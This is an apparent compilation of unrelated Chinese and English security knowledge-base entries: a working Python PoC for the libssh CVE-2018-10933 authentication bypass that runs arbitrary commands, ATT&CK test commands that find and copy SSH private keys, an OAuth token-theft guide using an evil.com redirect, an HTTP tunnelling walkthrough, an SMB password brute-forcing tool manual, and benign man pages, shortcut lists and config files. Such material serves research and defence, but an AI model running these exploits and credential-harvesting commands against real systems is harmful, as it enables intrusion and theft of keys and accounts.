<laser@pgsqldb.org>
sec-knowleage
# libssh Authentication Bypass Vulnerability(CVE-2018-10933) [中文版本(Chinese version)](README.zh-cn.md) libssh is a multiplatform C library implementing the SSHv2 protocol on client and server side. A logic vulnerability was found in libssh's server-side state machine. The attacker can send the `MSG_USERAUTH_SUCCESS` message before the authentication succeed. That can bypass the authentication and access the target SSH server. References: - https://www.libssh.org/security/advisories/CVE-2018-10933.txt - https://www.seebug.org/vuldb/ssvid-97614 ## Setup Start the environment: ``` docker compose up -d ``` After the environment is started, we can connect the `your-ip:2222` port (account password: `myuser:mypassword`), which is a legal ssh login: ![](1.png) ## Exploit Referring to the POC given in https://www.seebug.org/vuldb/ssvid-97614, we can use the following script to proof the vulnerability. ```python #!/usr/bin/env python3 import sys import paramiko import socket import logging logging.basicConfig(stream=sys.stdout, level=logging.DEBUG) bufsize = 2048 def execute(hostname, port, command): sock = socket.socket() try: sock.connect((hostname, int(port))) message = paramiko.message.Message() transport = paramiko.transport.Transport(sock) transport.start_client() message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) transport._send_message(message) client = transport.open_session(timeout=10) client.exec_command(command) # stdin = client.makefile("wb", bufsize) stdout = client.makefile("rb", bufsize) stderr = client.makefile_stderr("rb", bufsize) output = stdout.read() error = stderr.read() stdout.close() stderr.close() return (output+error).decode() except paramiko.SSHException as e: logging.exception(e) logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable") except socket.error: logging.debug("Unable to connect.") return None if __name__ == '__main__': print(execute(sys.argv[1], sys.argv[2], sys.argv[3])) ``` You can execute arbitrary commands on the target server like following: ![](2.png)
sec-knowleage
telnet === 登录远程主机和管理(测试ip端口是否连通) ## 补充说明 **telnet命令** 用于登录远程主机,对远程主机进行管理。telnet因为采用明文传送报文,安全性不好,很多Linux服务器都不开放telnet服务,而改用更安全的ssh方式了。但仍然有很多别的系统可能采用了telnet方式来提供远程登录,因此弄清楚telnet客户端的使用方式仍是很有必要的。 ### 语法 ```shell telnet(选项)(参数) ``` ### 选项 ```shell -8:允许使用8位字符资料,包括输入与输出; -a:尝试自动登入远端系统; -b<主机别名>:使用别名指定远端主机名称; -c:不读取用户专属目录里的.telnetrc文件; -d:启动排错模式; -e<脱离字符>:设置脱离字符; -E:滤除脱离字符; -f:此参数的效果和指定"-F"参数相同; -F:使用Kerberos V5认证时,加上此参数可把本地主机的认证数据上传到远端主机; -k<域名>:使用Kerberos认证时,加上此参数让远端主机采用指定的领域名,而非该主机的域名; -K:不自动登入远端主机; -l<用户名称>:指定要登入远端主机的用户名称; -L:允许输出8位字符资料; -n<记录文件>:指定文件记录相关信息; -r:使用类似rlogin指令的用户界面; -S<服务类型>:设置telnet连线所需的ip TOS信息; -x:假设主机有支持数据加密的功能,就使用它; -X<认证形态>:关闭指定的认证形态。 ``` ### 参数 * 远程主机:指定要登录进行管理的远程主机; * 端口:指定TELNET协议使用的端口号。 ### 实例 ```shell $ telnet 192.168.2.10 Trying 192.168.2.10... Connected to 192.168.2.10 (192.168.2.10). Escape character is '^]'. localhost (Linux release 2.6.18-274.18.1.el5 #1 SMP Thu Feb 9 12:45:44 EST 2012) (1) login: root Password: Login incorrect ``` 一般情况下不允许root从远程登录,可以先用普通账号登录,然后再用su -切到root用户。 ```shell $ telnet 192.168.188.132 Trying 192.168.188.132... telnet: connect to address 192.168.188.132: Connection refused telnet: Unable to connect to remote host ``` 处理这种情况方法: 1. 确认ip地址是否正确? 1. 确认ip地址对应的主机是否已经开机? 1. 如果主机已经启动,确认路由设置是否设置正确?(使用route命令查看) 1. 如果主机已经启动,确认主机上是否开启了telnet服务?(使用netstat命令查看,TCP的23端口是否有LISTEN状态的行) 1. 如果主机已经启动telnet服务,确认防火墙是否放开了23端口的访问?(使用iptables-save查看) **启动telnet服务** ```shell service xinetd restart ``` 配置参数,通常的配置如下: ```shell service telnet { disable = no #启用 flags = REUSE #socket可重用 socket_type = stream #连接方式为TCP wait = no #为每个请求启动一个进程 user = root #启动服务的用户为root server = /usr/sbin/in.telnetd #要激活的进程 log_on_failure += USERID #登录失败时记录登录用户名 } ``` 如果要配置允许登录的客户端列表,加入 ``` only_from = 192.168.0.2 #只允许192.168.0.2登录 ``` 如果要配置禁止登录的客户端列表,加入 ``` no_access = 192.168.0.{2,3,4} #禁止192.168.0.2、192.168.0.3、192.168.0.4登录 ``` 如果要设置开放时段,加入 ``` access_times = 9:00-12:00 13:00-17:00 # 每天只有这两个时段开放服务(我们的上班时间:P) ``` 如果你有两个IP地址,一个是私网的IP地址如192.168.0.2,一个是公网的IP地址如218.75.74.83,如果你希望用户只能从私网来登录telnet服务,那么加入 ``` bind = 192.168.0.2 ``` 各配置项具体的含义和语法可参考xined配置文件属性说明(man xinetd.conf) 配置端口,修改services文件: ```shell # vi /etc/services ``` 找到以下两句 ```shell telnet 23/tcp telnet 23/udp ``` 如果前面有#字符,就去掉它。telnet的默认端口是23,这个端口也是黑客端口扫描的主要对象,因此最好将这个端口修改掉,修改的方法很简单,就是将23这个数字修改掉,改成大一点的数字,比如61123。注意,1024以下的端口号是internet保留的端口号,因此最好不要用,还应该注意不要与其它服务的端口冲突。 启动服务: ``` service xinetd restart ```
sec-knowleage
# T1552-004-linux-私钥 ## 来自ATT&CK的描述 攻击者可以从被入侵的系统上收集私钥,用于对SSH等远程服务进行身份验证(暴力破解等),或者用于解密其他收集的文件,如电子邮件。通用密钥和证书文件扩展名包括:.key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. ;攻击者还可以查看常见的密钥目录,例如基于linux/unix的系统下的~/.ssh目录或Windows 上的SSH密钥C:\Users(username).ssh\。 私钥应该需要密码来进行操作,因此攻击者也可以使用键盘记录获取密码或尝试离线爆破账号密码。 ## 测试案例 find / -type f ( -name "*.pem" -o -name "*.pgp" -o -name "*.gpg" -o -name "*.ppk" -o -name "*.p12" -o -name "*.key" -o -name "*.pfx" -o -name "*.cer" -o -name "*.p7b" -o -name "*.asc" -o -name "authorized*" ) 查找用户的SSH私钥:find / -name id_rsa OR find / -name id_dsa 使用CP复制SSH私钥:find / -name id_rsa -exec cp --parents {} #{output_folder} ; find / -name id_dsa -exec cp --parents {} #{output_folder} ; 使用rsync复制SSH私钥:find / -name id_rsa -exec rsync -R {} #{output_folder} ; find / -name id_dsa -exec rsync -R {} #{output_folder} ; ## 检测日志 bash历史记录 ## 测试复现 ```bash icbc@icbc:/$ sudo find / -name id_rsa ``` 不再进行一一测试 ## 测试留痕 ```bash icbc@icbc:/$ history 639 sudo find / -name id_rsa ``` ## 检测规则/思路 ### sigma规则 ```yml title: 攻击者查找linux下私钥文件 description: Ubuntu18.04 references: https://github.com/12306Bro/Threathunting/blob/master/T1145-linux-私钥.md tags: T1552-004 status: experimental author: 12306Bro logsource: product: linux service: history detection: keywords: - sudo find / -name *.pgp - sudo find / -name *.pem - sudo find / -name *.ppk - sudo find / -name *.p12 - sudo find / -name *.key condition: keywords level: medium ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1552-004 <https://attack.mitre.org/techniques/T1552/004/> linux下的rsync六个使用实例 <https://www.linuxprobe.com/how-linux-rsync.html>
sec-knowleage
# JS rocks Category: Web ## Description > Part 1 of Imperva's challenge > > Put your JavaScript to the test, can you find the flag? > ## Solution We enter the attached website and are greeted with a login form: ```html <div class="container h-100"> <div class="row h-100 justify-content-center align-items-center"> <div class="wrapper"> <h2>Login</h2> <p>Please fill in your credentials to login.</p> <form action="/login.php" method="post"> <span class="help-block"></span> <div class="form-group"> <label>Username</label> <input type="text" name="username" class="form-control" value=""> </div> <div class="form-group"> <label>Password</label> <input type="password" name="password" class="form-control"> </div> <div class="form-group"> <input type="submit" class="btn btn-primary" value="Login"> </div> <p>Don't have an account? <a href="register.php">Sign up now</a>.</p> </form> </div> </div> </div> <script src="js/secret.js"></script> ``` Challenge name refers to JS, so obviously the next step would be to check out `js/secret.js`: ```javascript var s="var impvcs=[\'\\x5f\\x6b\',\"\\x65\\x78\",\"\\x72\\x65\",\"\\x62\\x6f\\x64\",\"\\x73\\x70\",\'\\x35\\x2e\\x70\',\"\\x2e\\x74\",\'\\x66\\x75\\x6e\\x63\\x74\\x69\\x6f\\x6e\',\'\\x68\\x70\',\'\\x79\\x30\\x75\',\'\\x74\\x69\\x6d\\x65\',\'\\x69\\x2f\',\'\\x6e\\x30\\x77\',\"\\x74\\x28\\x29\",\'\\x5f\\x6a\',\'\\x2f\\x61\\x70\',\"\\x6f\\x6e\\x73\"]; var impvg0 = impvcs[15]+impvcs[11]; var impvg1 = impvcs[9]+impvcs[0]+impvcs[12]+impvcs[14]+impvcs[5]+impvcs[8]; var impvg2 = impvg0+impvg1; var impvg3 = impvcs[2]+impvcs[4]+impvcs[16]+\"e\" + impvcs[6]+impvcs[1]+impvcs[13]; var impvg4 = impvcs[3]+\"y\"; fetch(impvg2) .then(function (response) { return eval(impvg3); }) .then(function (body) { console.log(eval(impvg4)); });" ``` We get an obfuscated Javascript snippet. Fortunately, we don't really need to reverse it, we can just run it: ``` >> eval(s) Promise { <state>: "pending" } {"flag":"Y3N0ZWNobmlvbntjYW5feW91X2J5cGFzc190aGVfbG9naW59"} ``` We decode as base64 and get the flag: ```console root@kali:/media/sf_CTFs/technion/JS_rocks# echo Y3N0ZWNobmlvbntjYW5feW91X2J5cGFzc190aGVfbG9naW59 | base64 -d cstechnion{can_you_bypass_the_login} ``` The flag is a hint for the [next challenge](Hard_login.md).
sec-knowleage
# OAuth Misconfiguration ## Introduction The most infamous OAuth-based vulnerability is when the configuration of the OAuth service itself enables attackers to steal authorization codes or access tokens associated with other users’ accounts. By stealing a valid code or token, the attacker may be able to access the victim's account. ## Where to find In the SSO feature. For example the URL will be looks like this ``` https://example/signin?response_type=code&redirect_uri=https://callback_url/auth&client_id=FQ9RGtMkztAgmAApKOqACrBNq&state=7tvPJiv8StrAqo9IQE9xsJaDso4&scope=+profile+email+phone+group+role+resource ``` ## How to exploit 1. OAuth token stealing by changing `redirect_uri` and Use IDN Homograph * Normal parameter ``` &redirect_uri=https://example.com ``` * IDN Homograph ``` &redirect_uri=https://еxamplе.com ``` If you notice, im not using the normal `e` 2. Create an account with victim@gmail.com with normal functionality. Create account with victim@gmail.com using OAuth functionality. Now try to login using previous credentials. 3. OAuth Token Re-use. 4. Improper handling of state parameter To exploit this, go through the authorization process under your account and pause immediately after authorization. Then send this URL to the logged-in victim * CSRF Attack ```html <a href="https://example.com/authorize?client_id=client1&response_type=code&redirect_uri=http://callback&scope=openid+email+profile">Press Here</a> ``` 5. Lack of origin check. 6. Open Redirection on `redirect_uri` parameter * Normal parameter ``` &redirect_uri=https://example.com ``` * Open Redirect ``` &redirect_uri=https://evil.com &redirect_uri=https://example.com.evil.com etc. ``` 7. If there is an email parameter after signin then try to change the email parameter to victim's one. 8. Try to remove email from the scope and add victim's email manually. 9. Check if its leaking `client_secret` ## References * [tuhin1729_](https://twitter.com/tuhin1729_/status/1417843523177484292) * [c0d3x27](https://infosecwriteups.com/the-oauth-misconfiguration-15e66dd19a6e)
sec-knowleage
**Tunna简介:** Tunna1.1 是 secforce 在2014年11月出品的一款基于HTTP隧道工具。其中v1.1中支持了SOCKS4a。 Tunna演示稿: https://drive.google.com/open?id=1PpB8_ks93isCaQMEUFf_cNvbDsBcsWzE Github: https://github.com/SECFORCE/Tunna **攻击机:** 192.168.1.5 Debian 192.168.1.4 Windows 7 **靶机:** 192.168.1.119 Windows 2003 **安装:** ```bash root@John:~# git clone https://github.com/SECFORCE/Tunna.git Cloning into 'Tunna'... remote: Enumerating objects: 6, done. remote: Counting objects: 100% (6/6), done. remote: Compressing objects: 100% (6/6), done. remote: Total 156 (delta 0), reused 2 (delta 0), pack‐reused 150 Receiving objects: 100% (156/156), 8.93 MiB | 25.00 KiB/s, done. Resolving deltas: 100% (84/84), done. ``` ![](media/dac94b993935a569d6b5cec53e91eb54.jpg) **靶机执行:** 以aspx为demo。 ![](media/45105406fce5e573635d20030393a928.jpg) **攻击机执行:** ```python python proxy.py ‐u http://192.168.1.119/conn.aspx ‐l 1234 ‐r 3389 ‐s ‐ v ``` ![](media/270e3220479652ae6eb658f40156cf97.jpg) ![](media/5e8e8a0ea358fdf98fc37bbb31b5994e.jpg) ### 附录: **解决:**General Exception: [Errno 104] Connection reset by peer ```bash [+] Spawning keep‐alive thread [‐] Keep‐alive thread not required [+] Checking for proxy: False ``` 连接后,出现 ```bash General Exception: [Errno 104] Connection reset by peer ``` 等待出现:**无法验证此远程计算机的身份,是否仍要连接?** 再次运行,在点击是(Y) ```bash python proxy.py ‐u http://192.168.1.119/conn.aspx ‐l 1234 ‐r 3389 ‐s ‐ v ``` ![](media/086a4ba0d1640a1d5b5efb747490329d.jpg) ![](media/1a7fb8afe7862e95f22ce331e1ea6480.jpg) ![](media/89343acc07c18c27399943cd200091b6.jpg) **如果:没有出现“无法验证此远程计算机的身份,是否仍要连接?”** 注册表键值: HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers 删除对应IP键值即可。 非常遗憾的是,Tunna对PHP的支持并不是太友好。 > Micropoor
sec-knowleage
--- title: acccheck categories: Password Attacks tags: [passwords,kali linux,acccheck,infogathering,password attack,smb,information gathering] date: 2016-10-18 11:10:00 --- 0x00 acccheck介绍 ------------- CDPSnarf(Cisco Discovery Protocol Sniffer)是专门用于从CDP包提取信息的网络嗅探器。 工具来源:https://labs.portcullis.co.uk/tools/acccheck/ [acccheck主页][1] | [Kali acccheck仓库][2] - 作者:Faisal Dean - 证书:GPLv2 0x01 acccheck功能 --------------- acccheck-SMB的密码字典攻击工具 ```shell root@kali:~# acccheck acccheck v0.2.1 - By Faiz 描述: 根据给定的选择尝试连接到IPC $和ADMIN $共享,并尝试用户名和密码的组合,以望通过字典密码猜测攻击来识别给定帐户的密码 用法= ./acccheck [选项] -t [单个主机IP地址] 或者 -T [包含目标IP地址的文件] 选项: -p [单个密码] -P [包含密码的文件] -u [单用户] -U [包含用户名的文件] -v [详细模式] 例子: 使用空密码尝试“管理员”帐户 acccheck -t 10.10.10.1 尝试“password.txt”中所有密码穷举“管理员”帐户密码 acccheck -t 10.10.10.1 -P password.txt 尝试“password.txt”中所有密码穷举“users.txt”中所有帐户密码 acccehck -t 10.10.10.1 -U users.txt -P password.txt 针对单个用户尝试单个密码 acccheck -t 10.10.10.1 -u administrator -p password ``` 0x02 acccheck用法示例 ----------------- 扫描包含在SMB-ips.txt(T)的IP地址中使用空密码的默认账户Administrator,并使用详细输出(-v): ```shell root@kali:~# acccheck -T smb-ips.txt -v Host:192.168.1.201, Username:Administrator, Password:BLANK ``` [1]: http://labs.portcullis.co.uk/application/acccheck [2]: http://git.kali.org/gitweb/?p=packages/acccheck.git;a=summary
sec-knowleage
.TH SUBST 1 local "25 Feb 1990" .SH NAME subst \- 替换文件中的定义 .SH "总览 (SYNOPSIS)" .B subst [ .B \-e editor ] .B \-f substitutions victim ... .SH "描述 (DESCRIPTION)" .I Subst 能够 替换 文件 的 内容, 适用于 针对 本地情况 定制 软件. 它 根据 .I substitutions 的 内容, 修改 每一个 .I victim 文件. .PP 在 .I substitutions 文件 中, 每个 替换说明(substitution) 占用 一行. 每一行 包含 两个域, 用 一个或多个 tab 符 隔开. 第一个 域 是 替换说明 的 \fI名字(name)\fP, 第二个 域 是 它的 \fI值(value)\fP. 两者 均不应该 包含 ``#'' 字符; 而使用 文本编辑器 的 转义符, 如 ``&'' 和 ``\e'', 也是 不明智地; 名字 最好 限制在 字母和数字 中; 以 ``#' 开始 的 行 是 注释, 将被 忽略. .PP 在 \fIvictim\fP 文件 中, 每一个 需要 替换 的 行 (\fI目标行\fP) 必须 跟在 \fI原形行(prototype line)\fP 后面. 原形行 应该 有 这样 的 限制: 将来 其他 程序 处理 这个文件 的 时候, 它 被视为 注释. 原形行 必须 包含 目标行 的 "原形", 该 "原形" 用 ``=(\&)<'' 和 ``>(\&)='' 括起来, 这一行 的 其他内容 都被 忽略掉. .I Subst 将 分析 这个原形, 寻找 替换说明 中 名字域 的 所有 实例, 名字实例 是用 ``@\&<'' 和 ``>\&@'' 括起来的, 把 它们 改变成 对应的值, 然后 用这个 结果 替换 目标行. .SH "选项 (OPTIONS)" .TP .B \-e 替换 操作 由 .IR sed (1) 编辑器 完成, 它 必须 放在 .I /bin 或 .I /usr/bin 目录 下面. 用 ``\-e'' 开关 可以 指定 一个 不同位置 的 执行程序. .SH "示例 (EXAMPLE)" .PP 如果 \fIsubstitutions\fP 文件内容 是 .PP .RS .nf .ta \w'SECOND'u+4n FIRST 111 SECOND 222 .fi .RE .PP 而 \fIvictim\fP 文件 是 .PP .RS .nf x = 2; /* =(\&)<y = @\&<FIRST>\&@ + @\&<SECOND>\&@;>(\&)= */ y = 88 + 99; z = 5; .fi .RE .PP 那么 ``\fBsubst \-f \fP\fIsubstitutions victim\fP'' 命令 把 \fIvictim\fP 改变成: .PP .RS .nf x = 2; /* =(\&)<y = @\&<FIRST>\&@ + @\&<SECOND>\&@;>(\&)= */ y = 111 + 222; z = 5; .fi .RE .SH "文件 (FILES)" .ta \w'\fIvictimdir\fP/substtmp.old'u+4n \fIvictimdir\fP/substtmp.new 建立出来的新版本文件 .br \fIvictimdir\fP/substtmp.old 经过改名的老版本文件 .SH "另见 (SEE ALSO)" sed(1) .SH "诊断 (DIAGNOSTICS)" 如果 subst 无法 创建 临时文件, 或者 临时文件 已经 存在, 程序 中止 并 报错. .SH "历史 (HISTORY)" Henry Spencer 写于 U of Toronto. .PP Rich $alz 在 1991 年 7 月 增加了 ``\-e'' 选项. .SH BUGS 当 创建 准备 用 \fIsubst\fP 处理的 文件 时, 很容易 忘记 在 原形行 后面 插入 一个 要命的 目标行; 如果 你 忘了 目标行, \fIsubst\fP 最终 会 删掉 原形行 下面一行, 不管 那行 是 什么. .SH "[中文版维护人]" .B 徐明 <xuming@users.sourceforge.net> .SH "[中文版最新更新]" .BR 2004/02/28 .SH "《中国Linux论坛man手册页翻译计划》" .BI http://cmpp.linuxforum.net
sec-knowleage
--- title: Github date: 2022-11-23 16:23:31.704787 background: bg-[#17191e] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 80 keyboard shortcuts found on Github.com --- Keyboard Shortcuts ------------------ ### Site wide shortcuts Shortcut | Action ---|--- `S` | Focus the search bar `G` `N` | Go to your notifications `H` | Opens and focuses on a user, issue, or pull request hovercard `Esc` | When focused on above, closes hovercard {.shortcuts} ### Repositories Shortcut | Action ---|--- `G` `C` | Go to the Code tab `G` `I` | Go to the Issues tab `G` `P` | Go to the Pull requests tab `G` `B` | Go to the Projects tab `G` `W` | Go to the Wiki tab {.shortcuts} ### Source code editing Shortcut | Action ---|--- `Ctrl` `F` | Start searching in file editor `Ctrl` `G` | Find next `Ctrl` `Shift` `G` | Find previous `Ctrl` `Shift` `F` | Replace `Ctrl` `Shift` `R` | Replace all `Alt` `G` | Jump to line `Ctrl` `Z` | Undo `Ctrl` `Y` | Redo {.shortcuts} ### Source code browsing Shortcut | Action ---|--- `T` | Activates the file finder `L` | Jump to a line in your code `W` | Switch to a new branch or tag `Y` | Expand a URL to its canonical form `I` | Show or hide comments on diffs `B` | Open blame view {.shortcuts} ### Comments Shortcut | Action ---|--- `Ctrl` `B` | Inserts Markdown formatting for bolding text `Ctrl` `I` | Inserts Markdown formatting for italicizing text `Ctrl` `K` | Inserts Markdown formatting for creating a link `Ctrl` `Shift` `P` | Toggles between the Write and Preview comment tabs `Ctrl` `Enter` | Submits a comment `Ctrl` `.` | Opens saved replies menu and then autofills comment field with a saved reply `Ctrl` `G` | Inserts a suggestions `R` | Quote the selected text in your reply {.shortcuts} ### Issue and pull request lists Shortcut | Action ---|--- `C` | Create an issue `Ctrl` `/` | Focus your cursor on the issues or pull requests search bar `U` | Filter by author `L` | Filter by or edit labels `M` | Filter by or edit milestones `A` | Filter by or edit assignee `O` | Open issue {.shortcuts} ### Issues and pull requests Shortcut | Action ---|--- `Q` | Request a reviewer `M` | Set a milestone `L` | Apply a label `A` | Set an assignee {.shortcuts} ### Changes in pull requests Shortcut | Action ---|--- `C` | Open the list of commits in the pull request `T` | Open the list of changed files in the pull request `J` | Move selection down in the list `K` | Move selection up in the list `Ctrl` `Shift` `Enter` | Add a single comment on a pull request diff `Alt` `(click)` | Toggle between collapsing and expanding all outdated review comments in a pull request {.shortcuts} ### Project boards {.row-span-2} Shortcut | Action ---|--- `Enter/Space` | Start moving the focused column `Esc` | Cancel the move in progress `Enter` | Complete the move in progress `Left/H` | Move column to the left `Ctrl` `Left/H` | Move column to the leftmost position `Right/L` | Move column to the right `Ctrl` `Right/L` | Move column to the rightmost position `Enter/Space` | Start moving the focused card `Esc` | Cancel the move in progress `Enter` | Complete the move in progress `Down/J` | Move card down `Ctrl` `Down/J` | Move card to the bottom of the column `Up/K` | Move card up `Ctrl` `Up/K` | Move card to the top of the column `Left/H` | Move card to the bottom of the column on the left `Shift` `Left/H` | Move card to the top of the column on the left `Ctrl` `Left/H` | Move card to the bottom of the leftmost column `Ctrl` `Shift` `Left/H` | Move card to the top of the leftmost column `Right` | Move card to the bottom of the column on the right `Shift` `Right/L` | Move card to the top of the column on the right `Ctrl` `Right/L` | Move card to the bottom of the rightmost column `Ctrl` `Shift` `Right/L` | Move card to the top of the rightmost column {.shortcuts} ### Notifications Shortcut | Action ---|--- `E/L/Y` | Mark as read `Shift` `M` | Mute thread {.shortcuts} ### Network graph Shortcut | Action ---|--- `Left/H` | Scroll left `Right/L` | Scroll right `Up/K` | Scroll up `Down/J` | Scroll down `Shift` `Left/H` | Scroll all the way left `Shift` `Right/L` | Scroll all the way right `Shift` `Up/K` | Scroll all the way up `Shift` `Down/J` | Scroll all the way down {.shortcuts} Also see -------- - [Keyboard shortcuts for Github](https://help.github.com/articles/using-keyboard-shortcuts/) _(help.github.com)_
sec-knowleage
from Crypto.Util.number import * from gmpy import * def gen_prime(nbit): while True: prime = getPrime(nbit) if prime % 3 == 2: return prime def add(a, b, n): if a == 0: return b if b == 0: return a l = ((b[1] - a[1]) * invert(b[0] - a[0], n)) % n x = (l*l - a[0] - b[0]) % n y = (l*(a[0] - x) - a[1]) % n return (x, y) def double(a, A, n): if a == 0: return a l = ((3*a[0]*a[0] + A) * invert(2*a[1], n)) % n x = (l*l - 2*a[0]) % n y = (l*(a[0] - x) - a[1]) % n return (x, y) def multiply(point, exponent, A, n): r0 = 0 r1 = point for i in bin(exponent)[2:]: if i == '0': r1 = add(r0, r1, n) r0 = double(r0, A, n) else: r0 = add(r0, r1, n) r1 = double(r1, A, n) return r0 def gen_keypair(e, nbit): p = gen_prime(nbit) q = gen_prime(nbit) n = p*q lcm = (p+1)*(q+1)/GCD(p+1, q+1) d = invert(e, lcm) pubkey = (n, e) privkey = (n, d) return pubkey, privkey def encrypt(msg, pubkey): n, e = pubkey if msg < n: while True: r = getRandomRange(1, n) m1, m2 = r - msg, r if m1 > 0: break c1, c2 = multiply((m1, m2), e, 0, n) return (int(c1), int(c2)) else: return 'Error!!!'
sec-knowleage
version: '2' services: activemq: image: vulhub/activemq:5.11.1 ports: - "61616:61616" - "8161:8161"
sec-knowleage
.TH ArrowButton 3tk "tcllib - BWidget" .SH NAME .B ArrowButton \- 带有一个箭头形状的按钮组件。 .SH 创建 CREATION .B ArrowButton pathName ?option value...? .SH 描述 DESCRIPTION ArrowButton 根据 type 选项而可以有两种类型: 对 button 类型,它是在其上画 着一个箭头的一个标准按钮;对于 arrow 类型,它是象滚动条的箭头那样的一个 箭头。 .SH 组件特有选项 WIDGET-SPECIFIC OPTIONS .TP -armcommand 指定当在 ArrowButton 上点击鼠标按钮 1 的时候与 ArrowButton 相关联的一个 Tcl 命令。在 repeatdelay 或 repeatinterval 选项是正整数的时候,如果鼠标 指针在这个按钮之上,则反复的调用这个命令,直到释放鼠标按钮 1。 .TP -arrowbd 在 ArrowButton 的 type 是 arrow 的时候,指定箭头的边框宽度。必须是 1 或 2。 .TP -arrowrelief 在 ArrowButton 的 type 是 arrow 的时候,指定箭头的面型(relief)。必须是 raised 或 sunken。 .TP -clean 为箭头指定品质级别,在 0 到 2 之间。如果是 0,则用最大的宽度和高度画这个 箭头。If 1, the base of arrow is arranged to be odd to have same edges. If 2, the base of arrow is arranged to be odd and the orthogonal to be (base+1)/2 to have 'straight' diagonal for edges. .TP -command 指定与 ArrowButton 相关联的一个 Tcl 命令。典型的当鼠标按钮 1 在 ArrowButton 窗口上释放的时候调用这个命令。 .TP -dir 指定箭头的方向: top、bottom、left 或 right。 .TP -disarmcommand 指定在鼠标按钮 1 释放的时候与 ArrowButton 相关联的一个 Tcl 命令。即使鼠 标指针不在 ArrowButton 上也要调用这个命令,并且总是在用 command 选项指定 的命令之前。它典型的与 armcommand、repeatdelay 和 repeatinterval 联合使 用。 .TP -height 为 ArrowButton 指定想要的高度。值的单位是屏幕单位。 .TP -helptext 动态帮助的文本。如果为空,则这个组件不能获得帮助。 .TP -helptype 动态帮助的类型。使用 balloon 或 variable. .TP -helpvar 在 helptype 选项是 variable 的时候使用的变量。 .TP -ipadx 指定在 ArrowButton 边框和箭头的左右两边之间的一个最小边距(pad)。这个值的 单位是屏幕单位。 .TP -ipady 指定在 ArrowButton 边框和箭头的上下两边之间的一个最小边距(pad)。这个值的 单位是屏幕单位。 .TP -state 指定 ArrowButton 为三种状态之一: normal、active、或 disabled。 如果 ArrowButton 的 type 是 button: 在普通状态下,使用 foreground 和 background 选项来显示 ArrowButton。在指针处于 ArrowButton 之上的时候典型 的使用活跃状态。在活跃状态下,使用 activeforeground 和 activebackground 选项显示 ArrowButton。在停用状态下,使用 disabledforeground 和 background 选项显示 ArrowButton。 如果 ArrowButton 的 type 是 arrow: 只 改变箭头的颜色。总是使用 troughcolor 选项显示 ArrowButton 的背景。在普通 状态下,使用 background 选项显示 ArrowButton。在指针处于 ArrowButton 之 上的时候典型的使用活跃状态。在活跃状态下,使用 activebackground 选项显示 ArrowButton。在停用状态下,用模糊的点描(stipple)显示 ArrowButton。 停用 状态意味着 ArrowButton 应当是没有感觉的(insensitive): 缺省绑定将拒绝激活 这个组件并将忽略鼠标按扭按下。 .TP -type 决定 ArrowButton 的类型: button 是标准按扭外观,arrow 是滚动条的箭头外观。 .TP -width 为 ArrowButton 指定想要的宽度。值的单位是屏幕单位。 .SH 组件命令 .TP pathName cget option 返回用 option 给出的配置选项的当前值。Option 可以是能被建立命令接受的任 何值。 .TP pathName configure ?option? ?value option value ...? 查询或修改这个组件的配置选项。如果未指定 option ,则返回描述 pathName 的 所有可获得的选项的一个列表。如果指定了不带 value 的 option,则这个命令返 回描述这个指名的 option 的一个列表(这个列表与未指定 option 所返回的值的 相应的子集是一样的)。如果指定了一个或多个选项-值 对,则这个命令把给定的 组件选项修改为给定的值;在这种情况下这个命令返回一个空串。Option 可以是 能被建立命令接受的任何值。只读选项不可修改。 .TP pathName invoke 如果 ArrowButton 的 state 不是停用。它调用这个按钮的命令。用活跃颜色和 sunken 面型(relief)重新显示 ArrowButton,并调用 armcommand。接着用普通颜 色和它定义的面型显示 ArrowButton,并调用 disarmcommand 接着调用 command. 在 ArrowButton 获得输入聚焦并且用户按 space bar 的时候调用 invoke。 .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/06/04 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
### Interrupt 3概述 无论何时触发了一个软件中断异常, 异常地址以及EIP寄存器的值都会同时指向产生异常的下一句指令. 但断点异常是其中的一个特例. 当`EXCEPTION_BREAKPOINT(0x80000003)`异常触发时, Windows会认定这是由单字节的"`CC`"操作码(也即`Int 3`指令)造成的. Windows递减异常地址以指向所认定的"`CC`"操作码, 随后传递该异常给异常处理句柄. 但是EIP寄存器的值并不会发生变化. 因此, 如果使用了 `CD 03`(这是 `Int 03` 的机器码表示),那么当异常处理句柄接受控制时, 异常地址是指向 `03` 的位置.
sec-knowleage
lynx === 纯文本模式的网页浏览器 ## 补充说明 **lynx命令** 是纯文本模式的网页浏览器,不支持图形、音视频等多媒体信息。 ### 语法 ```shell lynx(选项)(参数) ``` ### 选项 ```shell -case:在搜索字符串时,区分大小写; -ftp:关闭ftp功能; -nobrowse:关闭目录浏览功能; -noclor:关闭色彩显示模式; -reload:更新代理服务器的缓存,只对首页有效; --color:如果系统支持彩色模式,则激活彩色模式; --help:显示指令的帮助信息; --versiom:显示指令的版本信息。 ``` ### 参数 URL:指定要访问的网站的URL地址。 ## 内部命令 **移动命令** ```shell 下方向键:页面上的下一个链接(用高亮度显示)。 上方向键:页面上的前一个链接(用高亮度显示)。 回车和右方向键:跳转到链接指向的地址。 左方向键:回到上一个页面。 ``` **滚动命令** ```shell +、Page-Down、Space、Ctrl+f:向下翻页。 -、Page-Up、b、Ctrl+b:向上翻页。 Ctrl+a:移动到当前页的最前面。 Ctrl+e:移动到当前页的最后面。 Ctrl+n:向下翻两行。 Ctrl+p:往回翻两行。 ):向下翻半页。 (:往回翻半页。 #:回到当前页的 Toolbar 或 Banner。 ``` **文件操作命令** ```shell c:建立一个新文件。 d:下载选中的文件。 E:编辑选中的文件。 f:为当前文件显示一个选项菜单。 m:修改选中文件的名字或位置。 r:删除选中的文件。 t:Tag highlighted file。 u:上载一个文件到当前目录。 ``` **其他命令** ```shell ?、h:帮助。 a:把当前链接加入到一个书签文件里。 c:向页面的拥有者发送意见或建议。 d:下载当前链接。 e:编辑当前文件。 g:跳转到一个用户 指定的URL或文件。 G:编辑当前页的URL,并跳转到这个URL。 i:显示文档索引。 j:执行预先定义的“短”命令。 k:显示键盘命令列表。 l:列出当前页上所有链接的地址。 m:回到首页 